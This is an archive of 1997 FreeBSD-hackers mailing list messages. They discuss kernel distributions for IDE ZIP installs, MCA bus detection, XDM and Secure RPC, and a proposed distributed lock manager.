(8.8.7/8.8.7) id KAA24765; Thu, 18 Sep 1997 10:21:51 +0100 (BST) Message-ID: <19970918102150.17849@strand.iii.co.uk> Date: Thu, 18 Sep 1997 10:21:51 +0100 From: nik@iii.co.uk To: hackers@freebsd.org Subject: Different kernels for the bindist and boot.flp? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76e Organization: interactive investor Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [Not sent to -questions, since it's not a question about using FreeBSD, I *think* -hackers is the more appropriate forum for this] ObCaveat: I know very little about how "make release" works and the specific in's and out's of the install process. At the moment I'm just "thinking out loud". I've been thinking about installing FreeBSD from a ZIP drive recently. I'm in the situation where my home machine has (or rather, will have) no direct net connection. It will have a CDROM drive and a ZIP drive. At the office, I have a moderately speedy net connection and access to a ZIP drive. So I'm downloading the bin and src dists, will put them to a ZIP disk (actually, two, since I want to test installing from a UFS formatted ZIP and a DOS formatted ZIP). Other options (such as taking the machine to the net connection) are not feasible. I imagine this sort of scenario is reasonably commonplace (people like me at work, students with a fast university net connection but no connection to their machine, that sort of thing). Since I'm using SCSI, this will (should?) work painlessly. However, if I had an IDE ZIP drive it wouldn't since (as far as I know) GENERIC doesn't include the drivers shown at http://www.prism.uvsq.fr/~son/ppa3.html necessary for IDE ZIP support. Thinking about this, it occured to me it could be fixed by splitting the bin distribution into 2. The first chunk would contain almost all the existing bin dist, minus /kernel and /sys/i386/conf/KERNEL_NAME. These missing bits would be in a seperate distribution. As a user, installing FreeBSD would then be a case of 1. Download the bin dist 2. Download the appropriate kernel dist GENERIC_KERNEL IDEZIP_KERNEL . . . <- Other specific kernels, as necessary 3. Download the appropriate boot.flp image (generic_boot.flp, idezip_boot.flp, and so on) 4. Write and boot from the chosen boot floppy. The rest of the installation would proceed as normal, the only difference (in the IDEZIP case) being that the ZIP drive would appear as another (DOS or UFS) disk to mount, with the user using the "Install from another mounted partition" option (or whatever it's called these days). I don't think this is a small project, since it impacts on the release process and sysinstall (and, potentially, son-of-sysinstall). There are also issues over the lack of ability to logical-or kernel attributes together ("I'd like the IDE kernel components, the SCSI components and the ZIP components, but not the video-capture card components please" isn't possible). There are also documentation issues, since installing the system with this method (potentially) includes more for the user to remember. Before I start thinking about a prototype implementation, a) Has anyone else looked at doing something like this? b) Does anyone have violent objections to doing something like this? c) Does anyone have any insight on the best way to implement something like this? N -- --+==[ Nik Clayton is Just Another Perl Hacker at Interactive Investor ]==+-- '|' "Ceci n'est pas une pipe." (with apologies to Magritte) NC5-RIPE From owner-freebsd-hackers Thu Sep 18 02:20:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA21221 for hackers-outgoing; Thu, 18 Sep 1997 02:20:37 -0700 (PDT) Received: from dublin.iona.ie (root@operation.dublin.iona.ie [192.122.221.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA21199 for ; Thu, 18 Sep 1997 02:20:28 -0700 (PDT) Received: from ultra (ultra [192.122.221.136]) by dublin.iona.ie (8.7.5/jm-1.01) with SMTP id KAA21776; Thu, 18 Sep 1997 10:20:08 +0100 (BST) Date: Thu, 18 Sep 1997 10:19:44 +0100 (BST) From: Niall Smart X-Sender: nsmart@ultra To: Terry Lambert cc: Tommy Hallgren , jkh@time.cdrom.com, freebsd-hackers@FreeBSD.ORG Subject: Re: CDROM image In-Reply-To: <199709172013.NAA13644@usr02.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Surely they are stored with case, but the Windows 95 search algorithm ignores it? -- Niall Smart Customer Engineering, IONA Technologies. (www.iona.com) On Wed, 17 Sep 1997, Terry Lambert wrote: > > In Windows95 everything looked fine. But in Linux(which I used back then) > > every filename was in lower case. :-( > > In Windows95, long file names are case sensitive on storage, case > insensitive on lookup. I believe lowercasing them was an acessability > hack in the CDROM driver on Linux. > > > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. > From owner-freebsd-hackers Thu Sep 18 02:24:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA21412 for hackers-outgoing; Thu, 18 Sep 1997 02:24:39 -0700 (PDT) Received: from dublin.iona.ie (operation.dublin.iona.ie [192.122.221.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA21401 for ; Thu, 18 Sep 1997 02:24:33 -0700 (PDT) Received: from ultra (ultra [192.122.221.136]) by dublin.iona.ie (8.7.5/jm-1.01) with SMTP id KAA21984; Thu, 18 Sep 1997 10:24:09 +0100 (BST) Date: Thu, 18 Sep 1997 10:23:44 +0100 (BST) From: Niall Smart X-Sender: nsmart@ultra To: Tommy Hallgren cc: Joerg Wunsch , freebsd-hackers@FreeBSD.ORG Subject: Re: CDROM image In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 18 Sep 1997, Tommy Hallgren wrote: > On Wed, 17 Sep 1997, J Wunsch wrote: > > > As Tommy Hallgren wrote: > > > > > I read that the Debian group has made a CDROM image of their release, > > > maybe this would be a good idea for the FreeBSD community as well? > > > > > > The idea is nice, just download the image, burn it, make some floppys and > > > reboot. > > > > What (except the smaller traffic) would it buy you to just download > > the boot floppy, and use the FTP installation method? If people are having trouble burning their own CD-ROMS maybe they should shell out a few bucks for the official CD. Saves on bandwidth and supports the FreeBSD project as opposed to your local ISP/Telco. -- Niall Smart Customer Engineering, IONA Technologies. (www.iona.com) From owner-freebsd-hackers Thu Sep 18 02:35:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA21993 for hackers-outgoing; Thu, 18 Sep 1997 02:35:51 -0700 (PDT) Received: from konig.elte.hu (konig.elte.hu [157.181.6.22]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA21891 for ; Thu, 18 Sep 1997 02:33:24 -0700 (PDT) Received: from localhost (sebesty@localhost) by konig.elte.hu (8.8.3/8.7.3/7s) with SMTP id LAA24775; Thu, 18 Sep 1997 11:24:55 +0200 Date: Thu, 18 Sep 1997 11:24:55 +0200 (MET DST) From: Zoltan Sebestyen X-Sender: sebesty@konig To: Bill Paul cc: hackers@freebsd.org Subject: Re: XDM again In-Reply-To: <199709171329.JAA21829@skynet.ctr.columbia.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 17 Sep 1997, Bill Paul wrote: > Of all the gin joints in all the towns in all the world, Lutz Albers had > to walk into mine and say: > > > > Zoltan Sebestyen wrote on 17.09.1997 > > XDM again > > > > Bzzzzt! I'm sorry that's incorrect, but that's for playing. > > getnetname() is a Secure RPC function. Only FreeBSD-current has > Secure RPC support. (Adding it required fairly big changes, which > is why it's not in 2.2.5.) If you have a FreeBSD-current system, > getnetname() is prototyped in /usr/include/rpc/auth.h. > > XDM can use Secure RPC for authentication but this fearture is normally > disabled in the stock X11 distribution as it entails the use of > some DES encryption routines. > > -Bill You are right! I've downloaded the original XDM source and found that it compiles without secure rpc. The main problem was that while XDM uses Imakefile this XDM hack for the KDE desktop doesn't and it thinks that if exists then secure rpc is available. ------------------------------------------------------------------------------- Sebestyen Zoltan It all seems so stupid, it makes me want to give up. szoli@caesar.elte.hu But why should I give up, when it all seems so stupid? From owner-freebsd-hackers Thu Sep 18 03:43:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA27175 for hackers-outgoing; Thu, 18 Sep 1997 03:43:13 -0700 (PDT) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA27156 for ; Thu, 18 Sep 1997 03:43:03 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id UAA00245; Thu, 18 Sep 1997 20:09:57 +0930 (CST) Message-Id: <199709181039.UAA00245@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Terry Lambert cc: sos@sos.freebsd.dk (S ren Schmidt), hackers@FreeBSD.ORG Subject: Re: INB question In-reply-to: Your message of "Thu, 18 Sep 1997 07:28:55 GMT." <199709180728.AAA19024@usr06.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Date: Thu, 18 Sep 1997 20:09:55 +0930 From: Mike Smith Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id DAA27163 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > OK, I give up: other than calling INT 0x15, AH=0xC0, how do I detect > > > whether a machine is MCA or not without hard coding it in my kernel > > > configuration file? > > > > You giving up, so easy ?? naw.... > > > > There must be some device or something on a MCA board thats different > > form the ISA/EISA/PCI systems, probe for that... > > Well, I can look for MCA cards. That assumes I have MCA cards installed > or locally bridged (I have an MCA SCSI on the motherboard, so that'll > do my machine, but not anyone else's). If Jonathan can get the early-kernel BIOS call stuff working, int15 may still be the "right" way to go. Until then, how about you look for the MCA configuration information? One would hope that its location and format were documented. Note that Joerg's comment about a nonresponding bus giving random values is *WRONG* for most busses; certainly at least ISA and PCI. The ISA specification explicitly requires bus pullup resistors. It may be unwise to depend on reading 0xff back-to-back with a previous read/ write operation, but the reader is welcome to calculate the RC time constant for a transmission line with a few pF of capacitance and a 10K (or less) pullup. For PCI, I would expect Stefan or one of the PCI lawyers to have the ultimate answer. I get the impression that PCI will actually generate the equivalent of a "bus error" if a peripheral doesn't respond; in reality the question is moot except in the face of defective hardware. Now, MCA. I *don't* have an MCA board here to look at, or the hardware standard. If you are reading a port that is guaranteed to return a known value on an MCA system, and the alternative is that there's nothing there (ISA), then you are generally safe to assume that you can expect 0xff to mean ISA, and (magic) to mean MCA. ... be wary of address ranges that may be inhabited by other peripherals. That really goes without saying, doesn't it? mike (Hey, last night we pumped our user-mode I/O interface up from 900KB/sec to 2.5MB/sec using some bigger FIFOs and a new clocking strategy. Am I cool or what? Stuff PCI, ISA rocks! 8) From owner-freebsd-hackers Thu Sep 18 03:52:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA28024 for hackers-outgoing; Thu, 18 Sep 1997 03:52:03 -0700 (PDT) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA27967 for ; Thu, 18 Sep 1997 03:51:53 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id UAA00277; Thu, 18 Sep 1997 20:19:26 +0930 (CST) Message-Id: <199709181049.UAA00277@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: nik@iii.co.uk cc: hackers@FreeBSD.ORG Subject: Re: Different kernels for the bindist and boot.flp? In-reply-to: Your message of "Thu, 18 Sep 1997 10:21:51 +0100." <19970918102150.17849@strand.iii.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 18 Sep 1997 20:19:25 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > [Not sent to -questions, since it's not a question about using FreeBSD, > I *think* -hackers is the more appropriate forum for this] You're probably close to right on this one. > I've been thinking about installing FreeBSD from a ZIP drive recently. I'm ... > Since I'm using SCSI, this will (should?) work painlessly. Indeed it should. I've done it several times without grief. > However, if I > had an IDE ZIP drive it wouldn't since (as far as I know) GENERIC doesn't > include the drivers shown at http://www.prism.uvsq.fr/~son/ppa3.html > necessary for IDE ZIP support. This is not a driver for the IDE Zip drive. It is a(n obsolete) driver for the VP0 SCSI adapter inside the parallel-port Zip, and is superseded by the ppbus code and the 'vpo' driver in -current, and also available for 2.2.* from the above page. The IDE zip works "almost" right out of the box. As has recently been observed, getting it "really right" would take a major restructuring of the way we handle ATAPI devices (see NetBSD and Jason Thorpe for more details if you're interested in one approach). I have one of these units on loan for a few days, and I will try to establish bandaid solutions to the current problems during that time. [... multi-boot-floppy proposal ...] > Before I start thinking about a prototype implementation, > > a) Has anyone else looked at doing something like this? Several. Plenty even. Rolling a release is reasonably straightforward, if time-consuming. Rolling a boot floppy standalone is somewhat of an exercise in frustration, but also doable. > b) Does anyone have violent objections to doing something like this? Well, I don't think anyone _else_ is going to do it, especially as you're not actually solving a great problem. If someone wants a boot floppy with the ppa3 driver in the kernel, there are bound to be a few takers for providing such a thing. OTOH, it _is_ a great learning experience, and if nothing else you may well come out of it with some suggestions that'll make it easier for the next novice, so don't take this as any sort of discouragement. > c) Does anyone have any insight on the best way to implement something > like this? Heh. This bit is always fun. Go read /usr/src/release/Makefile. I recommend something for the headache too; take it _first_, to give the drugs a fighting chance. 8) mike From owner-freebsd-hackers Thu Sep 18 04:10:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA28774 for hackers-outgoing; Thu, 18 Sep 1997 04:10:20 -0700 (PDT) Received: from tyree.iii.co.uk (tyree.iii.co.uk [193.117.77.66]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA28767 for ; Thu, 18 Sep 1997 04:10:15 -0700 (PDT) Received: from carrig.strand.iii.co.uk (carrig.strand.iii.co.uk [192.168.7.25]) by tyree.iii.co.uk (8.8.4/8.8.4) with ESMTP id MAA03320; Thu, 18 Sep 1997 12:07:16 +0100 (BST) Received: (from nik@localhost) by carrig.strand.iii.co.uk (8.8.7/8.8.7) id MAA29751; Thu, 18 Sep 1997 12:12:46 +0100 (BST) Message-ID: <19970918121246.52480@strand.iii.co.uk> Date: Thu, 18 Sep 1997 12:12:46 +0100 From: nik@iii.co.uk To: Mike Smith Cc: nik@iii.co.uk, hackers@FreeBSD.ORG Subject: Re: Different kernels for the bindist and boot.flp? References: <19970918102150.17849@strand.iii.co.uk> <199709181049.UAA00277@word.smith.net.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76e In-Reply-To: <199709181049.UAA00277@word.smith.net.au>; from Mike Smith on Thu, Sep 18, 1997 at 08:19:25PM +0930 Organization: interactive investor Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, Sep 18, 1997 at 08:19:25PM +0930, Mike Smith wrote: > The IDE zip works "almost" right out of the box. As has recently been > observed, getting it "really right" would take a major restructuring of > the way we handle ATAPI devices (see NetBSD and Jason Thorpe for more > details if you're interested in one approach). I have one of these > units on loan for a few days, and I will try to establish bandaid > solutions to the current problems during that time. Ah. Does this mean that boot.flp from a current snapshot will recognise an IDE ZIP drive at boot time (modulo any user solvable constraints like "There must be a disk in the drive"), and let the user use it as a UFS or DOS disk? If so, it sounds like the specific problem I'm thinking of is solved. > > b) Does anyone have violent objections to doing something like this? > > Well, I don't think anyone _else_ is going to do it, especially as > you're not actually solving a great problem. If someone wants a boot > floppy with the ppa3 driver in the kernel, there are bound to be a few > takers for providing such a thing. But there is also the more general problem of integrating a custom built kernel into the rest of the installation mechanism right from the start. Including dropping the correct kernel into /kernel. Of course, this might turn into a bit of a no-brainer as well. > OTOH, it _is_ a great learning experience, and if nothing else you may > well come out of it with some suggestions that'll make it easier for > the next novice, so don't take this as any sort of discouragement. Yep. I'll be doing the install (possibly several times) later today, and plan to write up anything out of the ordinary I need to do. Of course, it's entirely possible that it all just works. In which case, this will be a nice, short project. > > c) Does anyone have any insight on the best way to implement something > > like this? > > Heh. This bit is always fun. Go read /usr/src/release/Makefile. > I recommend something for the headache too; take it _first_, to give > the drugs a fighting chance. 8) I've looked through that before. I always found I needed eight printouts of the files invoved, and eight hands so I could keep track of where particular bits of magic were being referenced from. . . N -- --+==[ Nik Clayton is Just Another Perl Hacker at Interactive Investor ]==+-- '|' "Ceci n'est pas une pipe." (with apologies to Magritte) NC5-RIPE From owner-freebsd-hackers Thu Sep 18 04:28:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA29594 for hackers-outgoing; Thu, 18 Sep 1997 04:28:08 -0700 (PDT) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA29549 for ; Thu, 18 Sep 1997 04:27:40 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id UAA00465; Thu, 18 Sep 1997 20:54:01 +0930 (CST) Message-Id: <199709181124.UAA00465@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: nik@iii.co.uk cc: hackers@FreeBSD.ORG Subject: Re: Different kernels for the bindist and boot.flp? In-reply-to: Your message of "Thu, 18 Sep 1997 12:12:46 +0100." <19970918121246.52480@strand.iii.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 18 Sep 1997 20:53:59 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Ah. Does this mean that boot.flp from a current snapshot will recognise > an IDE ZIP drive at boot time (modulo any user solvable constraints like > "There must be a disk in the drive"), and let the user use it as a UFS or > DOS disk? Yes, and specifically yes, you must have a disk in and leave it in. Removing it will make Bad Things happen. > But there is also the more general problem of integrating a custom built > kernel into the rest of the installation mechanism right from the start. > Including dropping the correct kernel into /kernel. Of course, this might > turn into a bit of a no-brainer as well. No, it's actually quite hard. Due to the way the boot floppy works, you have to build a custom image with your new kernel, and then hack sysinstall to splat a new kernel image down after it's extracted the bindist. You could alternatively specify a different kernel to go in the bindist, which is relatively straightforward but slow (you have to build a release to do it). > > OTOH, it _is_ a great learning experience, and if nothing else you may > > well come out of it with some suggestions that'll make it easier for > > the next novice, so don't take this as any sort of discouragement. > > Yep. I'll be doing the install (possibly several times) later today, and > plan to write up anything out of the ordinary I need to do. Of course, it's > entirely possible that it all just works. Oh, I meant hacking the release code 8) mike From owner-freebsd-hackers Thu Sep 18 04:42:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA00345 for hackers-outgoing; Thu, 18 Sep 1997 04:42:50 -0700 (PDT) Received: from tyree.iii.co.uk (tyree.iii.co.uk [193.117.77.66]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA00340 for ; Thu, 18 Sep 1997 04:42:46 -0700 (PDT) Received: from carrig.strand.iii.co.uk (carrig.strand.iii.co.uk [192.168.7.25]) by tyree.iii.co.uk (8.8.4/8.8.4) with ESMTP id MAA04053; Thu, 18 Sep 1997 12:39:52 +0100 (BST) Received: (from nik@localhost) by carrig.strand.iii.co.uk (8.8.7/8.8.7) id MAA29797; Thu, 18 Sep 1997 12:45:22 +0100 (BST) Message-ID: <19970918124522.57711@strand.iii.co.uk> Date: Thu, 18 Sep 1997 12:45:22 +0100 From: nik@iii.co.uk To: Mike Smith Cc: nik@iii.co.uk, hackers@FreeBSD.ORG Subject: Re: Different kernels for the bindist and boot.flp? References: <19970918121246.52480@strand.iii.co.uk> <199709181124.UAA00465@word.smith.net.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76e In-Reply-To: <199709181124.UAA00465@word.smith.net.au>; from Mike Smith on Thu, Sep 18, 1997 at 08:53:59PM +0930 Organization: interactive investor Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, Sep 18, 1997 at 08:53:59PM +0930, Mike Smith wrote: [Do -current boot.flp's support IDE ZIP out of the box?] > Yes, and specifically yes, you must have a disk in and leave it in. > Removing it will make Bad Things happen. Thanks for confirming that. > > But there is also the more general problem of integrating a custom built > > kernel into the rest of the installation mechanism right from the start. > > Including dropping the correct kernel into /kernel. Of course, this might > > turn into a bit of a no-brainer as well. > > No, it's actually quite hard. Due to the way the boot floppy works, > you have to build a custom image with your new kernel, and then hack > sysinstall to splat a new kernel image down after it's extracted the > bindist. You could alternatively specify a different kernel to go in > the bindist, which is relatively straightforward but slow (you have to > build a release to do it). This is why I was thinking about seperating the bin dist into a bin dist and a kernel dist. The new bin dist contains everything non-kernel specific, the kernel dists each contain one kernel with support for a specific set of features, and the kernel config file used to create them. Imagine a few kernel distribution sets Kernel Kernel Distribution Floppy image GENERIC generic.[aa-..] generic.flp IDEZIP idezip.[aa-..] idezip.flp NOSCSI noscsi.[aa-..] noscsi.flp The user writes the boot floppy as normal, using one of the .flp images. When they boot, and are selecting which bits to install, an extra entry appears on the menu for "Kernel distributions". Selecting this takes the user to another screen, where they select which kernel distribution they want to download and use. These are exclusive selections (radio button rather than checkbox). The default entry is hardwired into sysinstall, depending on the floppy image. So, sysinstall on generic.flp defaults to GENERIC sysinstall on idezip.flp defaults to IDEZIP sysinstall on noscsi.flp defaults to NOSCSI But the user could change change from this default if they needed to (I'm trying to think of a scenario where they might need to, and failing, but I see no point in restricting the user's freedom). Doing all this once, by hand, is probably not too difficult (I think it just needs lots of disk space to hold multiple copies of /usr/src for each different 'make release'. Doing this so that the release engineer can do the equivalent of make -DDESTDIR=/releases/GENERIC -DKERNEL=generic make -DDESTDIR=/releases/IDEZIP -DKERNEL=idezip make -DDESTDIR=/releases/NOSCSI -DKERNEL=noscsi (or similar) is another matter entirely. At this point, I turn around and ask the release engineer whether this sort of functionality is actually useful? [ This space intentonally left blank for Jordan's reply :-) ] > Oh, I meant hacking the release code 8) Oh yes, that too. Did I delete the comment about needing eight pairs of hands to keep track of what's going where. . ? N -- --+==[ Nik Clayton is Just Another Perl Hacker at Interactive Investor ]==+-- '|' "Ceci n'est pas une pipe." (with apologies to Magritte) NC5-RIPE From owner-freebsd-hackers Thu Sep 18 04:52:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA00888 for hackers-outgoing; Thu, 18 Sep 1997 04:52:50 -0700 (PDT) Received: from konig.elte.hu (konig.elte.hu [157.181.6.22]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA00528 for ; Thu, 18 Sep 1997 04:46:13 -0700 (PDT) Received: from neumann.cs.elte.hu (neumann [157.181.6.200]) by konig.elte.hu (8.8.3/8.7.3/7s) with ESMTP id MAA26178 for ; Thu, 18 Sep 1997 12:54:41 +0200 Received: from localhost (sebesty@localhost) by neumann.cs.elte.hu (8.8.3/8.7.3/4c) with SMTP id MAA20191 for ; Thu, 18 Sep 1997 12:54:46 +0200 X-Authentication-Warning: neumann.cs.elte.hu: sebesty owned process doing -bs Date: Thu, 18 Sep 1997 12:54:46 +0200 (MET DST) From: Zoltan Sebestyen To: FreeBSD hackers mailinglist Subject: loadavg Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Thanks for all who replied. The reason why I'm interested in this topic is that I'm porting an application similar to Windows NT's taskmanager. I wonder if these sysctl commands give me the same information about the cpuload and the memory load as NT's taskmanager does. Thanks in advance -------------------------------------------------------------------------------- Sebestyen Zoltan It all seems so stupid, it makes me want to give up. szoli@caesar.elte.hu But why should I give up, when it all seems so stupid? From owner-freebsd-hackers Thu Sep 18 04:55:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA01024 for hackers-outgoing; Thu, 18 Sep 1997 04:55:18 -0700 (PDT) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA00980 for ; Thu, 18 Sep 1997 04:54:42 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id VAA00568; Thu, 18 Sep 1997 21:20:25 +0930 (CST) Message-Id: <199709181150.VAA00568@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: nik@iii.co.uk cc: Mike Smith , hackers@FreeBSD.ORG Subject: Re: Different kernels for the bindist and boot.flp? In-reply-to: Your message of "Thu, 18 Sep 1997 12:45:22 +0100." <19970918124522.57711@strand.iii.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 18 Sep 1997 21:20:21 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > No, it's actually quite hard. Due to the way the boot floppy works, > > you have to build a custom image with your new kernel, and then hack > > sysinstall to splat a new kernel image down after it's extracted the > > bindist. You could alternatively specify a different kernel to go in > > the bindist, which is relatively straightforward but slow (you have to > > build a release to do it). > > This is why I was thinking about seperating the bin dist into a bin dist and > a kernel dist. The new bin dist contains everything non-kernel specific, > the kernel dists each contain one kernel with support for a specific set of > features, and the kernel config file used to create them. This rapidly reduces to supplying the kernel sources and a text editor. The alternative is a million different kernel distributions, which are nothing short of a terror to maintain. > Doing all this once, by hand, is probably not too difficult (I think it > just needs lots of disk space to hold multiple copies of /usr/src for each > different 'make release'. > > Doing this so that the release engineer can do the equivalent of > > make -DDESTDIR=/releases/GENERIC -DKERNEL=generic > make -DDESTDIR=/releases/IDEZIP -DKERNEL=idezip > make -DDESTDIR=/releases/NOSCSI -DKERNEL=noscsi > > (or similar) is another matter entirely. It's already in place, insofar as the release will build as many kernels as you want. You just have to refrob it to bundle them separately. > > Oh, I meant hacking the release code 8) > > Oh yes, that too. Did I delete the comment about needing eight pairs of > hands to keep track of what's going where. . ? No, I did. I thought all us hackers were octopots? mike (Shirow fans are welcome to reply out of band.) From owner-freebsd-hackers Thu Sep 18 05:29:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA02912 for hackers-outgoing; Thu, 18 Sep 1997 05:29:43 -0700 (PDT) Received: from ns.ineco.ryazan.su (root@ns.ineco.ryazan.su [194.58.169.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA02801 for ; Thu, 18 Sep 1997 05:26:18 -0700 (PDT) Received: from dialup.galion.ryazan.su (dialup.galion.ryazan.su [194.58.169.238]) by ns.ineco.ryazan.su (8.7.5.R.ML.S/Relcom-2A) with ESMTP id QAA09946 for ;Thu, 18 Sep 1997 16:25:09 +0400 Received: from mutant.galion.ryazan.su by server.galion.ryazan.su with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1457.7) id T1MQBVKY; Thu, 18 Sep 1997 16:24:08 +0400 Received: from localhost (romanp@localhost.galion.ryazan.su [127.0.0.1]) by mutant.galion.ryazan.su (8.8.5.R.S/Relcom-2A) with SMTP id QAA00762 ;Thu, 18 Sep 1997 16:25:40 +0400 (MSD) Date: Thu, 18 Sep 1997 16:25:39 +0400 (MSD) From: "Roman V. Palagin" To: Simon Shapiro cc: FreeBSD-Hackers@FreeBSD.ORG Subject: Re: Distributed Lock Manager on FreeBSD In-Reply-To: Message-ID: Organization: Systems Integration "RIGHT" MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk WoW!! I think this is great project. Can you give me more information? ------------------------------------------------------------------------------- Roman V. Palagin Systems Integrator "RIGHT" Network Administrator http://www.galion.ryazan.su Internet Mail: romanp@mutant.galion.ryazan.su Tel: +7 (0912) 725638 ------------------------------------------------------------------------------- On Tue, 16 Sep 1997, Simon Shapiro wrote: > We are putting the finishing touches on a true general purpose distributed > lock manager for FreeBSD. This message is a solicitation for interest. If > I receive enough interest in it I will start a chain of discussions on the > subject and solicit core review for inclusion in FreeBSD. This may not be > easy as some of my management would like to keep it proprietary. > > To illustrate, an Oracle equivalent (subset, really) had a cost of over > $250,000 for the source and about 1/5 for binary. > > > VERY BRIEF SUMMARY: > > DLM is a method by which cooperating processes on different machines (even > different operating systems) can inform each other of interest in a named > object. Just like a database lock manager, or a file system lock manager, > but with the ability to span hosts in real time. > > Some highlight of this DLM: > > * Kernel implementation; All the locking logic is in the O/S kernel, not > in userspace. > > * Multi-state, hirerchial lock with up to 32 states per lock. > > * Conflict resolution built in; Caller can specify which states to > consider in conflict analysis. > > * Conflict Blocking; Caller can specify which conflict to block on. > > * Programmable conflict block; Allows caller to specify how long to wait. > > * Multiple-locking. Individual states can accumulate; A locker can > specify that multiple ``read'' locks are permitted. the DLM will > track how many are actually applied. > > * Remote Locking; A call to the local DLM agent for locking a remote > resource is automatically proxied. > > * Shared Locking; If a resource is shared, the DLM will apply both local > and remote lock and automatically/instantly resolve deadlocks. > > * Multi-path; Each resource can have its own data path (TCP/IP, SCSI, > RCS-232, etc.) UDP support is running, SCSI support via DPT is > forthcoming. > > * External resource management; The mapping of resources is external to > the locking agent. > > * Distributed; There is no central locking authority, although you can > easily create one via resource configuration. > > + What is it good for? We are using it to build our non-stop RDBMS server, > which is composed of a group of FreeBSD machines tied to a single disk > farm. The RDBMS is PgSQL with the lock manager replaced with the DLM and > the storage manager replaced with the DBFS/DIO module I am still working > on. > > If any of this is of any interest to any of you, drop me a line. Please > try to do so soon , so I can decide how to document the thing. > > > > --- > > > Sincerely Yours, (Sent on 16-Sep-97, 19:18:09 > by XF-Mail) > > Simon Shapiro Atlas Telecom > Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 > Shimon@i-Connect.Net 